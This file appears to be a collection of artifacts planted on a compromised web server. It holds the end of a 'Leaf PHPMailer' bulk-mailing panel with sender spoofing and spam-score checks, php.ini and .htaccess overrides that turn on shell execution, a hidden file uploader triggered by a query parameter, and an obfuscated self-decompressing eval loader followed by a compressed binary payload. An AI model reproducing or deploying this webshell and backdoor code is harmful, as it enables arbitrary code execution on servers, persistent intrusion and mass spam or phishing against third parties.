    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$IWTZ='sub'.'str';$TPxd='s'.'tr'.'_'.'rep'.'lace';$azFi='exi'.'t';$NwTW='f'.'ile_ge'.'t'.'_'.'conten'.'ts';$KqoQ='gzunco'.'mpress';eval($KqoQ($TPxd('htikcbnsuo','>',$TPxd('garyhpibsj','<',$IWTZ($NwTW( __FILE__ ),-36508)))));$azFi(0);
?>
xTǮ`^_6h3axL9I9̧]@pD~JL3M8w^d2/_^`garyhpibsjM]9}xRoö_]یͿb?wӺϖhtikcbnsuoyÿbֽ7=U!?garyhpibsjs7o1g#t]|x1{]pcqhtikcbnsuoXlCAphtikcbnsuoBC,{nu@
HtKv8c}lA0V\JxZTgaryhpibsj:$iX|:xeVsvB@t~ZgilkZmkcBG=1P+LA	rX2R;Y0Tk©R_}ATݏZ!QnUT3|DA0,%{%htikcbnsuo%ry
"@Ix&xv%JpGKgaryhpibsjTTB,Y@2^lPx ?&PB1@y%{"ih CFpD9Dul%FR6Y~ƛ|gW$G
^'
sd{    Z  /Bm`Y(|R4.$~ ۴2M[ׁOb	jhtikcbnsuo+#B0p]0~&I1I`񡜨+\K63& ^tge/
]1̜cgaryhpibsj1Z~ܡCk6
:garyhpibsj?=|r/⺠8רjd1garyhpibsjF)BizHgaryhpibsj6:f;	
*B⁡3mղmKVW0Vexmd(-JI
	=[4XM;֭ї$TeϘ
]ٙ߀w~b#G7~N7@lPMnhtikcbnsuom5݊|3"b
GPGk_ʆ\$C}ۀ
gc#4.[0:&t߷&Lh3$,jTaN}Ě*ki񎉿U@k2i#@9htikcbnsuox3o/gs&.lal
}aE#H zRQϤ3ST	`m_"ؿdu'J10U%U6$CVP邔?=hA=htikcbnsuoA8,s-DBg1F*,=VFW{jpyi;F"#KR,/+8F,MxA(~Fe
$ϜJ\=O0[;6	
l
;e\ߣpgaryhpibsj뮛逇c
jQ%garyhpibsjdTo9[=U	dϚZz=y:3=_\3lrZF5ND(pFs@zhtikcbnsuoZ{hgaryhpibsj36~4	dBŵlݱ-6Y {׳龕nZDuۮS;X7Yʴ#;/*)HU~!xq?vmCEY:I*ogaryhpibsj0Zj0إ\I#7sN?XZc1b]1`Íq n["3|R? άk2@8MQAT-Cq7-$
_[.?E܈pܐÀDVr:MCoaf
^`E7ikG4fhtikcbnsuoK2zsFzބC.\l1Sj܊x'⥨["1m%-pNG ]1,'5
F_4~;X%0Hה:t;(Z壴/dY`:	wnqj
5CAigaryhpibsjd,3@cFJ_GI0"zX/ a~Ir~cJFձ+NC&A$o_{|uv@}B
]_S
ͬI5,ޑ~2 Ȉm[nhtikcbnsuo7p=Eeo`.4ZVmJSYo=zHj[mLL2.OT@*khtikcbnsuove7Oڟ2%23Q%%JPMd'Z*xJ}T8ATεr-?s)TNYӒm+Q_'ߜqݝDqnJyζ1!8lH'[OE"XF`N.u=1eGp/Ū0ᡬUX%}JgPhtikcbnsuoG롘Y0)o,fp	B١htikcbnsuoA3Nk/ólSxIОƀ,5bjI'BMK縞.y~[~.Q0g&lVz&[kVhtikcbnsuoW_f4E5ˬM@).~Qmv'	S(x%7hI0HKh?+{dfU!%f)=y7ܙ	7z6mo ŹpF,CCoWHOvwT$@htikcbnsuoXbb;{L7p\2S5^htikcbnsuo:	 ڭm#?xU筎5
+!k*ı[tGԺ²}ҾZoEy}F3׍ν3؃ߊ%K
fNZȰʫXa garyhpibsj4JW#pkgaryhpibsj3@Ba_kuFGLo3ƢM旒0  K @m{D1PQ35SEևܜ'g)3c*١qݏKL owfOIIB%%Vŉ IASݏߔ^"wNn=lW]Uqʽ+\+%90(=Qqˍes}7ّw{ӢRhtikcbnsuoO](_Ȕq1r2Dg9T2Z5B"H:U۹5;A-t)͔nQ	֕BO7x#
HxM3²(Q. [ι+4t_h;i`5E_3e)garyhpibsjV!*A6uz]V'IEHe'B5htikcbnsuoa #7m=nMhbČJh+uPl3⋶(1S(wigaryhpibsjfP^{zu?^-TgB֝H6{M&%~5AgaryhpibsjS-uʖPhtikcbnsuoJ.Gmp"[3wyڬYuukAgt|ԨJ|[zپ6r2.vOAaIGULfln[c9m##ژX]8sgaryhpibsj]CXEQK=,AKfGt]Ȃ6o`htikcbnsuoKTŨp	@&QNC?f((:garyhpibsj|Evy$SԄff_'Ѿ5 g֖/*31ӈ ,,2޵O7Ek
~¯݇S#:Фh$옩{_lS`ὼKOmԊ`ky8I&!
VO@oڀobtw=QRE KӑP{0QC~){Sꕒf{htikcbnsuo fhtikcbnsuo(JgtQ
pZ}߃ϙu˫Lwu/G-tS{RH_~QKT'ߵ:Q~H
S棧]UΠ+CvWZV/DSá]i^4 ҝ^YGWNe61 Um}.꾑׍[yXN3Z 0ZфygaryhpibsjH&;
:OwAt@3i%kl?=O@W~eфiMQnb@MYޡTKm
W%;RI@Ėt,UÞ\ĹK+%?Db
6rɚjgaryhpibsj-d@sqS.$@W?Y|&;-wLkN=aFZ`@J42cthtikcbnsuo&w a&B*T̘Z^@zG^FD7sK`3_y:eDSsC8@&ʜUwɺS}3^qchE.;K0{pƺsp9o^[Iuh${##$dՙ.`
pz+.$YnQ&.8Y˕!kgaryhpibsj7wc
54"TIM utьfrQD$gF]eGcۗ)z{CDoP
ې?x@'garyhpibsj
ڿ-'	(I1_W'M*LO@,alνn؇(4VS3tވy}:.htikcbnsuo잽
pȺ|"Bwe]ۅJx10%׍ǣY֒?S
x@4mI1Οr45,T"m}wxO}zykxMmQG+4yx8Dx?+rme$-s3{]su
uOS'[dZٓ:?o4_aܑ^;#MtVSC
XlknJ+SYʼ
_V.'ڷ/D]C`,8gofPYg^IմxXzd9ҊlqH̌tE&IigaryhpibsjmD%U{-v-IԔ	nMrɻ
s
R'`к낤5jZv$X|o_|y/[qW̲΃+6kj0qyJ6`-1*3garyhpibsjk|(Z$UwgaryhpibsjՏ IlŒ-0;=f$}`:kAdF}	4SA7˓vIYIwagJ"`mplkJ^garyhpibsjq7-}::CGFc:CҤе|-v/ݑp'nU7M,htikcbnsuoC%CgaryhpibsjE͢4l5PH\*{]U)@0'b-oGŅ
y
#@JS7c
_5{0:as+Xaku}~$' )S'M)~_FRhtikcbnsuo}bBlj4Mk/Ƀ/?W)٭Ze򍢨n;#I1EC9Jв/9ӽdT|̏';PM͵-'ix!7#t.garyhpibsjgbIvD7՚`oKCr5߸;cKF5ZakY garyhpibsjs=ѝAqzYEK[')ajgaryhpibsjտS,Q|/i^ bװARBoYy"a[(qah\]цƷhtikcbnsuo?htikcbnsuoւ?郆`tkmβWHLoXl`]3d OWϏ+sN&v\zV2 9	qIx
~n!Qg}൜H5|b}ˌlH,xUyVsDDZ]{/ǠX81r~
 s(7-:K=ȵV5K%rǵ"Å	Eu	D }M94garyhpibsj	)K-l̓QUPIOIWgaryhpibsjEs_zM~bY	gi~bQ6`garyhpibsj_2w9&F!4|Vxt5
&406L
ؙGB+jw5To?)uƄ
wjs|fTYj?*-0dֱUR{:D9%[A0Qԏ,8LΧ*ӒE&%Ϯ/Mr{zou# MU;`htikcbnsuo22桕ՆXK#u"l+{f&ӢP$%htikcbnsuofgaryhpibsj
baӼgaryhpibsjж2ȤhQsyV{ܺդhtikcbnsuoޯ0)27F1xgCC/mw8gҏ)P{G
_bE |4vhtikcbnsuo0ڡâ,&bX\e|$?:z-,RD!Is3G̒fH*,2Gnuz0dTxƾOC̪}[p_-PJ{ȋ8hl];2~B.eOx4⋱BzFD//:ˁhtikcbnsuoSo#1e="NkHx]xC.F$Yʣq|YN`Y!kba#$M4"#.y(mPW PhZTqGM㿻M[!?ZZc`Ad`D僧.yi.o
;|jFv˟O5\`*dP92,(dTuظ;UРzi*Ǔ}Ʀ9*6^J7YF 98йiAIv| hYH'=-_T0`V@&kChtikcbnsuoY}bsl
5
[cFs"YXB#3+߆3\*V%sFa"uzU:nz}LEa
%@
#*p'T^TCsW0.i9BIׂȉd)
p(D_d.qc1J^Ihtikcbnsuo@.2Ki!:
@ܗhtikcbnsuoMW$#}K/לX9LL	MW@k`V0xY"}Ix-:C8Ù
 k؋ŨÞXR炯sCaQfLmY|X=Q=Tb6M`b[dDMI-:Omke8$7(;rf_"q2p-mbcMs@}N*NqLwhTΔu_PODy	'Ng?l|_GKmz6nhgaryhpibsj	5tuK
zÍ' [U 8qSm.N2UpihT
Cdɋ%)V9
bsZHسsgaryhpibsj)31cqOSZE¨|0Q3OF4Κ\n(^4QMcD3죐|!;
garyhpibsjZ S(1ou)t?
}p~ikTD=2R7(s%NCv&y&Q(z_JK19{LHѭXӌsHze͂Jn;"
ĨȂFq9Eu}
 h.pZ_garyhpibsj敏ï'Cȩ/MK3Mt`i@NZu |4~zGHyX6Wqf5oWer*qathu1rHȆW[חa&ZQSA6ĕʲ@YaVâYV]4ֵT+9-=,^Uڬ}Pӧ~֏r%GEpSf/KSʙtr7	M0Iygaryhpibsjނ*+csbY
9١G۝&P؅]%(11|/0ZBj?-ʬgaryhpibsj5YڈB4Pj0_R@r5rrVm_K
(9garyhpibsjM[HNqLSKw0vO)kHn(;+"DșvmXMhtikcbnsuo D5W'(X  
\)$2V+d'Vs8N@ޢ?*IvFYHa../U~qѨH'	&ILhtikcbnsuor/ fkE/,'ܷަSF
@(w&u|рjbg@(hz3tBھZ*|O#$:CF4c&cOfûg
Yygaryhpibsj4"4'wヒ]ILYĔ6dgAu&DDO.-k	`xinoɛ8,,=5rI08,X6np\&-d73j1
|^.޼tѵ)*筻w'B*~8"TY
c|E	97h[ﾭMup?5lD#ȳo]f*dZ0DcN	Xޏ?4E2kO,PպsG+,garyhpibsj[wA z̯1il=&T\&7$VWCMLp9q1)!Q_3%E:K!
!X|;g!o7]uGx:?e
ʹ48&\؝v454U۞7KC󡜊={CMP ;^~"
k$6җ
#Q2?9֊PR ~}6x5ɶ/óvGogaryhpibsjhrUsݾrĥRn-uPoQA[Gt?傌'fK&nLƯ( RTg}n# .J.0hF:ֈүILNHzJX,,~8&Jcs\^y#bzdf3L=s pإ-U})4Ln˸garyhpibsjs/_/2G8]K^GUZ\Wi`CwWw@jf Y?9YmjbVE |rE0F/
R/qsH;	}= ]ZymBO@DOU!ITqW,1$ս|$D:Jth!y%^M`oe
np#P5쳧#O*Dkӽ kĈphtikcbnsuo,=Y@Z_L噶garyhpibsjRrуr?tHG#b|3S.u:v?.EE![garyhpibsjc̈!N)!@?o
ɅYX
MM!HR}B37Uf6garyhpibsj*o_ϵYޭ3F;e}?ңX2fמTKvj q,uDp0P78H͉u y?f_ΐ}vUߟDjMQU6	X+ō֛kk~nt,igaryhpibsj;xiGv97KC'I6|O!TfvSe݆hZ#FhȖ*IWp劦:TbrnysZJ4T!2OY.j"5|\Ski+	'L	G7?DLDF R1%
z݂@Pߕ
[~ppkOJ@Y%d0w\mוrf|S\%G|:[XڽϊmdQw5O}'JX8L433|VT_q7e#Ef?4s,VOnc Ml Ej.XL%YX&]G=g7j.*jX:c\s!i"hVJj)׺ RBaPaN`[c+up"*yg1C8naCnƲ͋xƃ8+~#.zX`vbhz'htikcbnsuo6*^|u ? YLۨeqLĶm-GAq+/t판Nיuwhtikcbnsuo$6yRXRw.#\FUhjU;fUDފI1͖?phtikcbnsuoҌSw
MFlIqH(0=KP${Ss\.N?η whtikcbnsuo~+htikcbnsuo{Lh'\	ht]=4b!hnEyGmD.&M	م/^jPLYz9:}z3B&{O\dt{ZFvVuL{%}PS8Ҙ5:`]htikcbnsuoŠE-Nbv Jꗪ;4'}
Bc{Q]:Ђ*4ּamm4g:"?H]k
Cgaryhpibsj9q2)$Q-rgaryhpibsjyTwhtikcbnsuoǃl5,U	WlQzDl	_O83z G	4K@?X '?Aus.s'kB޲Vgaryhpibsjfl-NoUǸpqb N9
;)
wJVn?~I%qf)=t-VgaryhpibsjC-{v^ΙQ㿋JT q	'uiL(wvS.
Gy7garyhpibsjH:&-
}W'zpks¥J{#Lz5	(.4d^7BF` ƺT_1:@:^'jY"n(T LG:) Ia	x^gUS?;Ѽjgaryhpibsjݬz*3E_htikcbnsuoDg
V݈nP]ڌVg
 lJ1NP0פpLNVy HG-54UWG:àyкAy7ѐיq}*se ,ܙf&M
4Y6;y;Ĕ?q8 :-;Q!hj+'$r)ovwWul?)5htikcbnsuo`KD3٩TnBxB=m9\%Ce{.
ab 7l'z{W?@Zvhtikcbnsuor&y۾Lj/ڳ|'htikcbnsuo}:	~9-Xgrى5)(`=i
z0tǴ	&}M3UX9iӲ6`R5$p&ujq~ߜX97E!b htikcbnsuokd?HkP656js`ǥ0d'ih,g	a t=htikcbnsuoYH&v.;~ 5?ڛ.h ͯm $umLWT_}_`Pq"/V#W|ۀi %(./wE$8mb;ciតesE13\u G	7$Q0iMZ(;~E&ȒRc	
E(Ț5_ΨZ59"+ȗZOX"/f^hZM[4aͥ#˱Ca^w,Ik\ǂ1htikcbnsuo廘Se_03 ؉1O,|﷟9ET%^_te:S+͹y |̙ؾ|$z95FQppngocc@7_V-	WÅN
bThtikcbnsuodܷwқ#leʷYW:Jh,6P)vLGqti!vBəJ0Ч~q^Klg!%{gh~ݖ}ǉBN +c7RPAAi3Z.dF'_nYhtikcbnsuor:,VREhtikcbnsuoNs	
UՕ3lWcG军~ko6y5
VCt='6+u eₜ?hxBy)@wx$Z	0K9:ՙim$Bف;siwhtikcbnsuo	ם(Q]{mt{;u|{kҗn:/[m'\1S8ҕvMXASuL*v" aϨVR*
j}sP}iޓ#qY0ϾIh,PgaryhpibsjYw;htikcbnsuoYڍ/W?ii]^Kfƈs{|EL$!B82i jz?ALo=tDzUnk",˰uh@1~D)B½^Mza
k*.j8N#Q_egaryhpibsj9
yLd,-Dsv=PthtikcbnsuoN ?$)t]S7g\XrV
ſ?UsP /1ġ^SH?# 1`b	=23[htikcbnsuoח|"V1|OBf zKhtikcbnsuog۞k!;UY$%YlX#T?x"(&3bR?(qt%Igaryhpibsj`0H+!`I%(~Qi .5/IBȁ)f/nzh¬dXɶVU1{+w#^}ļ=}3)2/]ClB{ nAOn(HO_~31ӡ9yN)q?$ZhtikcbnsuoL(2t7@I|O%埳6y4
Ȣzwڴ=&2IhcK3htikcbnsuo4Xїβ#o&N.KLu$JC+x]w@ӬeeyQotπrJ5#US8_`PXY|6%uWJhV:"R7'X]b oYTV,5c$zi⧅19
j;cqlܻ1-W	#t]!garyhpibsj6go&%ڧG!eTBbZ!Q)#N7Sj!l.u5k^\ވ?\v2htikcbnsuo
ivۯhtikcbnsuoaCˈ? Ć#;c!M3 CGg(QܯMFܲUR]&\苶s`
Shtikcbnsuo&v\LZ&iV9, 66LnxʣY%gp'ZlG#gKݻdn뽭;NhtikcbnsuoGǎ9=6("[z'M
\wq\ow)
YSchtikcbnsuohtikcbnsuoNBxDIM"u5ظbH,\feVSAo?~garyhpibsjogr@OOQT7bWFughtikcbnsuo ~w
7QhtikcbnsuoJS/#xEUgaryhpibsjs]m0cǙ
l" #OWYhǲPGZ|Q+R4|e !VuߕMTBIg#
7(guɭ8b*
h2P.
?Tk"sܬCu*\GDp%G׫'
U	|7"5 %i=&?@׌҄3!=v
9Uvhtikcbnsuo.P$GD~
o'fnpo8
E
Ps3}ʯ,~jc*	', F
z*x"Ap`%h+kgs2/x=rYǡwFI4w9%2~FM0KGrS_garyhpibsjVWs6+V2mϢx0vfIA'ϊC$ _^*
7;tPWݛϢ[1kTu-h_V	ڿk*o 4e햊I?[ 8[garyhpibsj h/zq$kW}0}vd5EIx
͜RU	`3;!rIhQZs
N(i/;WkG	إ4JId hfΉsdVDg'ڧU]VOE^G|pRե
.ls8alH	N9xSڕvW
xA}im9.0?\$E;;	sMbmd/|A5Z	Fm'`[2-`htikcbnsuo䙻}ghtikcbnsuoW,KX,#38%l
e$_x~nyYSny=C]ϐZ$ld(iN&g1ǧn:F߾
R}`ОQFonmZAF0lϥ{%rd-_|KL@(UىK|\a{5-Ғ3.*7
(-xKs%0	0.garyhpibsj2#iAN
1htikcbnsuopb8Ygaryhpibsjrdhtikcbnsuo-:"w%^QO	-Wj*5f(uHǔؗ.7r$4zK$ύkc.Kx@2

A c{ utvB~,&En@DlRK^NH_PDю@[ [=azO/Fd~KqG|	p^&)OLDN
(ԍzH\|f)pONc$Ϭ yT{/O#k!c$n}&-4sn5f][`81˔`ҁ@ nhtikcbnsuonTȆY0o6J5a;8-W~E[`7oeHᒠ;|_g
.od+jv26UR#hl1_qg=Y(1Ҙl8IV~#t3Jhtikcbnsuoygaryhpibsj+GI|~4]P03&~d
JYv_Wi~'`u:1^pa~Q*F~Og30w0$3/chj]ͮhYMpjFKlVXks#C$r7O:KfyR^C1/i{Dm'k9{GnzTYBI?|iO$QO
$htikcbnsuo؈^Q'v{0dZp⏁[\{%{VZ-`{#garyhpibsj2e*Z손RB?*_~hʓw@TEcs~o8Qհtu(qQƢ(,,&!uuH|iH]ND;Ͳ]i-@fzh{k_Lq7NeGO**X}MIvڠMG"XQG!\Wo2lO~garyhpibsjc|2F:$;dye$]4д,i鲴Oq*p_bq-=-pZ2|v}FX̀L]0I_garyhpibsjs^b۶$kzh/Ӓ
H:,FRԢ=v
O2ǡm? K-	ut%jڎ˥n53*ltWaHcr,ZjCG=mӺƍ6garyhpibsj_t-garyhpibsjHDı/;
ye56~[DZoKҎEF]퓁JfmI00^;d"x/Jmf[5cϬEIT$fs}garyhpibsj=L~8%!@TvpKS+ 嚽#c!1sLSkLp/E
T)qgaryhpibsjF/b̌&l %lq)Сa
+y7 qJ'*ZhU뮀ѷdy ȡʝ8ݥuRbr_~!&7.q_Lx=?і&mcP +ԝZk{4x&185\~bʾBB#B"FgHyhfgaryhpibsj- garyhpibsjEαV%YѴ(
u_/(&R6Fv~v LV^0UucwvPLZ#pc(IkI 쨜6ˡxjxVYɴ8,6'ˌ ڜcw3lBrHj:_ɪphnt]jee.Ͱd݉!ǹ~ ؤT7lE\$garyhpibsjr&Tb`R|kԏJZN\
L4rhFݘ$7P؆JVxjG5%gkc|1"L=1^garyhpibsjsIBkyFtQVSZ"-zuB:DR&htikcbnsuowT:R@x7htikcbnsuo~猑?^~XIyG8߶٬Y7;{͕Kos3&ew 	o0h]Gek@^%6/:pJLՆF\#Cchtikcbnsuo4tW*~ʵ7~MI7Ab܅#pLG`8ިbR` 6VVfYۿr*\%@kMq^9e)#ĕngBBqӅRnJJц0$?0ے3TnF	Phtikcbnsuo lK[d)h R,1~/2`v.,^KRO`AK`n4#	^ؔV2GWnˑo9*:Ts!(-Պ&MqvsVM qVfL^&h2"]KPVoS|مs57m:ȥhM2`p(nzg8ˣ[c]htikcbnsuo},bɐOG/ذnq	 pO959݈vSIx|3T pz	~!
O7onU4%tA̅8~!AF{?tgaryhpibsjb`,2WLv/s܍Fay0$$±G|#) Ă=wȶW%-ugaryhpibsjZ~Q1dh&mt!d/hc,A*P*ѭ+-)߷ӷ O@dO✥qk5Xo:}!hiY
  ,s,d$ j2B!'bsP!(Ir s}D`lNJұ/yP-htikcbnsuo*z4cBpt'Ghtikcbnsuo^1iJlf'garyhpibsj9ɢف2ͣW3#E'^ϰ _&%ҏQ-t_ڡ* =qvg0fm^hRA!-Fm}4VԒ֡A72r_hHz)2AKK㲢PiB
	q3+rg?!]n'*ɟOsb*`ⴡi~(ru=|@qϭ
cYugYAHGdb7~5QԟjBNbZx~$@.XBFhtikcbnsuo(Uia\A(f` @91Xj1W+;
F[d`3SCF_ԹwqU.8Z1DL1pЮ2'y/nz&Ǭœ,/щۀ\4lfԥc9`}@iDnE:RS[EnRq;'?vU?$E-bH+S
IlBGύWqn2f-garyhpibsj~O)t]garyhpibsjda	J-D|LSR4laR[K0	LhWAF-!Ia2HAIBw
]G:pv6 _xjSzהVԻsVy="/t"`|jp?qɏJZ+2?8*/uRkJFqhWqhtikcbnsuoWڬ߈io60݄x(fJپ+AsMST]=X
X*g9
Q!ne{j 7vi : -X|*e=t	?et:I;R&5-93\
KδۏSOCw.H2z^n5#vcJmI0shtikcbnsuoA`;f[siz^A[Z(oMMN3)Ƃ75C$2eq:	-5PX⃽eU$C&2ZnS)(¬yéGR`fSᷯM
gF &FouswY
^4_*9htikcbnsuodvUgqgX'-=ߩIx\^&3j󌂏˰K^UzlqTwƇY@k=v
?-^:?#B!htikcbnsuolPQik 0Q"9htikcbnsuos96pgaryhpibsj8@BXK*V2v&p#i4	Yl?Cm=U~v	]ȴvީ*:̢gngdD帙5˼ @?ok-&'8
-,FAɬ8md#[rUq+Z*$[[jokPbQkǯ7DX0?:Û32K+a:ǣ;7r1|M"ГUhtikcbnsuoT,m JJⓢckG(efE9htikcbnsuo(\s	garyhpibsjRBŻgIw7`n~lpj@cPy^Ѵ#pv&Z0^#/Y[W^lArL0Ym_aDTT/"F\{a۟޶jTy^xZT8-[ypAmWDЋ
lcݿ4[|htikcbnsuo(ݬOڿfg~$5.HYpz
4`mhtikcbnsuog.JB@u/0׋HhV%`X0鿧ēMuzJNtx
_xwT3EݢR69Qf`Paoy&	PYꦡfKqv:1r:=+_H^Pt*~w=_%뿈=E1htikcbnsuo7p[Uc~͕ne~UÏK_lFTB"r~-:s%Yn{garyhpibsjj;/0d\NU$6aq}$k-P1qU)/3t1x
DI ]52BsXYq73Sŝt"f#;ln{1l cέ6Ȭk.3Yg=4-V(	;~]d
'=hD!$ls=0R) ZFzD|-ehtikcbnsuo,IxgH_.j`garyhpibsjkⵓ`(as'_OQq4Gs	_uP~)@j!U!RL ^Xr|ӺF?K$UDX_ߴANB4foՏίDfہNs3oGn7T[c&=^yȌ#a+$l*3~{'PZjS!?"4ާuiѿDk
`p$b]+Uey?9/:~E֒#[3N-84W`THz,r
6݈:n%oxftZ2mgaryhpibsj#qM.#Oƌ!dhBE8Vn|$εp(h|9r'i)8JT6*\-f&Nmʾ^qW3"%htikcbnsuo]ۅ8WhUٵ9:/o @	ibO3+G6B̩.=
!6,@}k
